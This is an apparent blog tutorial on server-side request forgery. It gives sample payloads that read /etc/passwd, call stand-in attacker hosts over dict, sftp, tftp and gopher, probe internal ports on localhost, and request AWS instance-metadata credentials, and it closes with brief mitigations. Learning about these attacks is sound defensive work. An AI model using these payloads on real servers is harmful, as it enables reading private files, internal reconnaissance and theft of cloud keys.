Attackers use SSRF, a web application vulnerability, to bring about a request from the server-side application to a random domain; usually, attackers choose the domain.
Server-Side Request Forgery attacks can compromise a server. SSRF vulnerability allows attackers to send requests by the web application, often targeting internal systems behind a firewall (Waf).
In easier terms, Attacker asks the server to fetch the URL for him.
Let’s consider the example of the below request :
GET /?url=https://exploit.com/ HTTP/1.2
Host: victim.co-0m
In the above request, we can see the domain name victim.com and Get request taking URL as a parameter for the user input.
Now people ask how is this a vulnerability?
This “URL” parameter is based on user input, and anyone can control it. If the proper protection is not implemented, an attacker can use this small “url” parameter to request the internal server. For example, local Ip address is not easily accessible from the public internet.
Types of SSRF:
Basic SSRF: In the Basic Server-Side Request Forgery, the request-response is displayed to the attacker.
Blind SSRF: In the blind Server-Side Request Forgery, the request-response is hidden from the attacker; it’s difficult to detect.
Today, we will see 3 ways to exploit SSRF
1. Reflected XSS Via SSRF
Yeah, sounds difficult!👻 Don’t worry, it is not.
Simply fetch a file from external sites, which has a malicious payload with content type served as HTML or javascript payload.
http://exploit.com/?url=http://brutelogic.com.br/poc.svg
2. SSRF to LFI or testing for URL schemas
Try URL schemas to read internal and make server perform actions file:///
dict:// sftp:// ldap:// tftp:// gopher://
If you found, Server-Side Request Forgery test, all the schemas are working, if the server blocks one schema, try with another schema.
file://
The file is used to fetch a file from the file system.
http://exploit.com/ssrf.php?url=file:///etc/passwd
dict://
The DICT URL scheme refers to definitions or word lists available using the DICT protocol:
http://exploit.com/ssrf.php?=dict://attacker:8080/
SFTP://
A network protocol used for secure file transfer over secure shell: http://exploit.com/ssrf.php?url=sftp://evil.com:8080/
TFTP://
Trivial File Transfer Protocol works over UDP http://exploit.com/ssrf.php?url=tftp://evil.com:8080/TESTUDPPACKET
LDAP:// ldaps:// ldapi://
Lightweight Directory Access Protocol, an application protocol used over an IP network to manage and access the distributed directory information service.
http://exploit.com/ssrf.php?url=ldap://localhost:8080/
Gopher://
Gopher, a distributed document delivery service, allows users to explore, search and retrieve information residing in different locations.
http://exploit.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
3. Scan for internal networks and ports
What if applications run some servers on their LAN Elastic search Mongo db and Kibana, which we can not access from the internet directly as a firewall will block us.
We will use SSRF to access them 🤭.
The attacker will run an internal IP and PORT scan and understand more about the target and use it for further exploitation. Sometimes this can lead to remote code execution.
Suppose, if you find that the internal port is running on some old or outdated version of the software, which the public knows as RCE; we can use it for performing the RCE, and the same applied to the other vulnerability
You can first try to identify if the website allows connections to localhost by changing the URL http://exploit.com/ssrf.php?file=http://127.0.0.1:80
In this case, the HTTP response will contain the HTML page, indicating that the webserver is not restricted to connections to itself. We can confirm using the commonly used open port like 22 and 25.
http://exploit.com/ssrf.php?file=http://127.0.0.1:22
http://exploit.com/ssrf.php?file=http://127.0.0.1:25
The above request will throw an error but also will include the port banner, which indicates that the server is running on the specified port.
Amazon
If you find a Server-Side Request Forgery in Amazon Could, Amazon exposes an internal service. Every EC2 instance can query, for instance, metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
This will give our juicy information like Aws keys, ssh keys and more Refer to this repo for the payload :
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
Mitigations for SSRF :
To avoid Server-Side Request Forgery, never trust user input. If your application needs to pass URLs, in requests, use a whitelist for IP addresses and domains, and always validate if the response has the expected format and content.
● Whitelists and DNS Resolution
● Response Handling
● Disable Unused URL Schemas
● Authentication on Internal Services
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Ch eat_Sheet.html
Conclusion
Attackers can cause serious damage to the target using SSRF vulnerability; therefore, the golden rule is To avoid Server-Side Request Forgery never trust user input.
